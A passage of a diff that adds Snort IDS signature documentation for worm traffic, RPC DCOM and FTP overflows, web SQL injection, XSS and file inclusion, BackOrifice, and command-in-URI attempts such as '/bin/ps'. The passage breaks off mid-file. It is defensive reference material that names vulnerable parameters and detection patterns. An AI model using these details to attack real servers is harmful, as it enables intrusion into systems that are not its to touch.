+Sid:
+1889
+
+--
+Summary:
+This event is generated when a web server infected by the slapper worm attempts to send traffic via a communication channel. 
+
+--
+Impact:
+Remote access and potentially denial of service.  A slapper worm infection indicates a successful compromise of the host.  A communication channel established between infected hosts can be used as a vehicle for a distributed denial of service attack of a target host or network.
+
+--
+Detailed Information:
+The Apache/mod_ssl worm, also known as slapper, exploits a vulnerability associated with certain versions of OpenSSL.  Once a host has been infected by the worm, the worm then attempts to establish a communication channel using UDP port 2002 (both source and destination) to the infecting host.  This communication channel is used to create a network for infected hosts to communicate with each other to identify other infected hosts and to deliver attack instructions for other sites.
+
+--
+Affected Systems:
+Linux hosts running Apache with mod_ssl using SSLv2-enabled OpenSSL 0.9.6d or earlier on Intel x86 architectures.
+
+--
+Attack Scenarios:
+The communication channel created by the slapper worm allows infected hosts to receive direction from other infected hosts.  This can be used, for instance, to coordinate a DDoS attack.
+
+--
+Ease of Attack:
+Simple.  Exploit code exists. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It has been observed that the port number for the communication channel may vary.  Ports 1978 and 4156 have also been seen.
+
+--
+Corrective Action:
+Apply the appropriate patch or upgrade to the most current version of OpenSSL.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT
+http://www.cert.org/advisories/CA-2002-27.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/112-2.txt
+++ snort-2.8.5.2/doc/signatures/112-2.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+112-2
+
+--
+Summary:
+This event is generated when the pre-processor spp_arpspoof detects
+network traffic that may constitute an attack. Specifically an
+etherframe arp mismatch was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_arpspoof pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1134.txt
+++ snort-2.8.5.2/doc/signatures/1134.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1134
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3315.txt
+++ snort-2.8.5.2/doc/signatures/3315.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3315
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000757.txt
+++ snort-2.8.5.2/doc/signatures/100000757.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000757
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "QTO File Manager" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "delete" parameter in the "qtofm.php" script used by the "QTO File Manager" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using QTO File Manager
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3335.txt
+++ snort-2.8.5.2/doc/signatures/3335.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3335
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000614.txt
+++ snort-2.8.5.2/doc/signatures/100000614.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000614
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_premium_listing.php" using a remote file being passed 
+as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_premium_listing.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000768.txt
+++ snort-2.8.5.2/doc/signatures/100000768.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000768
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "blog" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "blog" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000174.txt
+++ snort-2.8.5.2/doc/signatures/100000174.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+100000174
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in RSA Security RSA Authentication Agent For Web.
+
+-- 
+Impact: 
+Cross site scripting leading to possible inclusion of code of the attackers 
+choosing.
+
+--
+Detailed Information:
+A vulnerability exists in RSA Security RSA Authentication Agent For Web that 
+may allow an attacker to include code of their choosing due to the improper 
+checking of user supplied input.
+
+--
+Affected Systems:
+RSA Security RSA Authentication Agent For Web 5.2
+
+--
+Attack Scenarios: 
+An attacker can supply a link to include code of their choosing in data 
+supplied to RSA Security RSA Authentication Agent For Web.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2759.txt
+++ snort-2.8.5.2/doc/signatures/2759.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2759
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3155.txt
+++ snort-2.8.5.2/doc/signatures/3155.txt
@@ -0,0 +1,92 @@
+Rule:
+
+--
+Sid:
+3155
+
+--
+Summary:
+BackOrifice is a Trojan Horse.
+
+Server Port: 31337 although in later versions this port can be changed
+to a value between 1 and 65535 Protocol: UDP although in later versions
+TCP can also be used
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to. This Trojan
+also has the ability to delete data, steal passwords and disable the
+machine.
+
+--
+Detailed Information:
+The Trojan changes system registry settings to add the BackOrifice sever
+to programs normally started on boot. Due to the nature of this Trojan
+it is unlikely that the attacker's client IP address has been spoofed.
+
+The default name of the server application is UMGR32, which can be
+changed on first use. The new application may be installed in the system
+or system32 direcory and the original may also be deleted.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
+
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
+
+Registry keys added may vary, look for spurious entries in the above
+locations.
+
+BackOrifice may hide the process from viewing inthe Windows task
+manager. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Symantec Security Response
+http://www.symantec.com/avcenter/venc/data/back.orifice2000.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1545.txt
+++ snort-2.8.5.2/doc/signatures/1545.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1545
+
+--
+Summary:
+This event is generated when potential Denial of Service (DoS) traffic is detected on the network. 
+
+--
+Impact:
+Serious. A DoS attack may be underway.
+
+--
+Detailed Information:
+This event indicates that DoS traffic has been detected. An attempt to exhaust resources on a host may be underway leading to the host being unavailable for legitimate use.
+
+--
+Attack Scenarios:
+An attacker may attempt to exhaust resources available on a host leading to the host being unable to respond to legitimate requests.
+
+--
+Ease of Attack:
+Simple to Difficult.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2550.txt
+++ snort-2.8.5.2/doc/signatures/2550.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2550
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow 
+associated with Winamp's processing of a .XM file module name.
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the execution
+of arbitrary code at the privilege level of the user running Winamp.
+
+--
+Detailed Information:
+Winamp is a media file player for Windows developed by Nullsoft.  A buffer
+overflow exists because of insufficient bounds checking while parsing fields
+in a .XM file.  An overly long module name may cause the buffer overflow 
+permitting the execution of arbitrary code at the privilege level of the user 
+running Winamp.
+
+--
+Affected Systems:
+Winamp 2.x, 3.x, and 5.0-5.02
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed .XM tracker name that may cause
+a buffer overflow and the subsequent execution of arbitrary code on the
+vulnerable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References
+
+Other:
+http://www.nextgenss.com/advisories/winampheap.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1328.txt
+++ snort-2.8.5.2/doc/signatures/1328.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+1328
+
+--
+Summary:
+Attempted ps command access via web
+
+--
+Impact:
+Attempt to gain information on system processes on webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the processes being run on a
+webserver. The ps command lists the process status of running processes
+on a UNIX or Linux based system. The attacker could possibly gain
+information needed for other attacks on the system.
+
+Using "ps", the attackers would check for various running system
+services to exploit or for the presence of security software, such as
+host IDS or monitoring scripts. This rule looks for the "ps" command in
+the URI part of the client to web server connection and does not
+indicate whether the command was actually successful in displaying the
+list of processes. The presence of the "ps" command in the URI indicates
+that an attacker attempted to trick the web server into executing system
+commands in non-interactive mode i.e. without a valid shell session.
+
+Alternatively this rule may trigger in an unencrypted HTTP tunneling
+connection to the server or a shell connection via another exploit
+against the web server.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/ps'in
+the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it's designated web root or cgi-bin. This command may also be
+requested on a command line should the attacker gain access to the
+machine. On BSD derived systems, setting the parameter
+"kern.ps_showallprocs" to zero will show only the processes being run by
+that user except for root who will still see all processes.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+sid: 1329
+
+Manual page for ps.
+
+http://linux.about.com/library/cmd/blcmdl1_ps.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1734.txt
+++ snort-2.8.5.2/doc/signatures/1734.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1734
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow or denial of service vulnerability associated with FTP USER command. 
+
+--
+Impact:
+Remote access or denial of service.  A successful attack can cause a
+denial of service or allow remote execution of arbitrary commands with
+privileges of the process running the FTP server. 
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit various
+vulnerabilities associated with the FTP USER command of different FTP
+servers. It is possible to cause a denial of service attack or gain
+remote access to execute arbitrary commands with the privileges of the
+process running the FTP server by sending an overly long argument with
+the FTP USER command. 
+
+--
+Affected Systems:
+	bftpd 1.0.11.
+	BlackMoon FTP Server 1.0 through 1.5. 
+	CesarFTPD 0.98b. 
+	A-FTP Anonymous FTP Server.
+	Argosoft FRP server 1.0.
+	TYPSoft FTP Server 0.78. 
+	AnalogX proxy server 4.04 and earlier 
+	Dragon FTP server.
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the USER
+command, causing a denial of service or buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/539.txt
+++ snort-2.8.5.2/doc/signatures/539.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+539
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/310.txt
+++ snort-2.8.5.2/doc/signatures/310.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid: 310
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability in SmartMax MailMax mailserver.
+
+--
+Impact:
+Serious. Execution of arbitrary code on the target server is possible.
+
+--
+Detailed Information:
+MailMax is an email server for Windows platforms. Certain versions of the software contain a vulnerability that can allow execution of arbitrary code on the server with the privileges of the user running MailMax.
+
+Affected Versions:
+	MailMax 1.0
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2312
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0404
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2129.txt
+++ snort-2.8.5.2/doc/signatures/2129.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 2129
+
+
+--
+Summary:
+This event is generated when an attempt is made to access nsiislog.dll on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Possible buffer overrun leading to arbitrary code execution.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access nsiislog.dll on a host running Microsoft Internet Information Server (IIS).
+
+The attacker may be trying to overflow a buffer using nsiislog.dll. This can present the attacker with the opportunity to execute arbitrary code of his choice on the vulnerable system. The vulnerability occurs when requests for Server Side Includes are not properly checked by the web server.
+
+--
+Affected Systems:
+Any host using IIS 5.0.
+
+--
+Attack Scenarios:
+An attacker can overflow a buffer and then proceed to execute arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Technet:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-018.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000726.txt
+++ snort-2.8.5.2/doc/signatures/100000726.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000726
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Vincent-Leclercq News" application running on a webserver. Access to the file "diver.php" with SQL commands being passed as the "id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "id" parameter in the "diver.php" script used by the "Vincent-Leclercq News" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Vincent-Leclercq News
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/546.txt
+++ snort-2.8.5.2/doc/signatures/546.txt
@@ -0,0 +1,56 @@
+Rule: 
+
+--
+Sid: 
+546
+
+--
+Summary: 
+This event is generated when an attempt is made to navigate in an FTP session to a hidden directory name that begins with a space.
+
+--
+Impact: 
+Unauthorized file storage.  An attacker may attempt to navigate on an FTP server to a directory name that begins with a space to list or store unauthorized files such as unlicensed software.
+
+--
+Detailed Information: 
+An attacker may attempt to hide unauthorized files in a hidden directory name that begins with a space.   This hidden directory is hard to discover, permitting attackers to store unauthorized "warez" files, such as unlicensed or pirated software.
+
+--
+Affected Systems: 
+FTP servers
+
+--
+Attack Scenarios: 
+An attacker may navigate to the hidden directory name that begins with a space to list or store unauthorized files.
+
+--
+Ease of Attack: 
+Simple
+
+--
+False Positives: 
+It is remotely possible that an authorized directory exists with a name that begins with a space.
+
+--
+False Negatives: 
+Hidden directories other than those with names that begin with a space may be used to store "warez" files.
+
+--
+Corrective Action: 
+Assign restrictive permissions to all directories so unauthorized users cannot navigate or write to them.
+
+Regularly monitor directories for sudden or drastic increased use of space.
+
+--
+Contributors: 
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-17.txt
+++ snort-2.8.5.2/doc/signatures/122-17.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-17
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
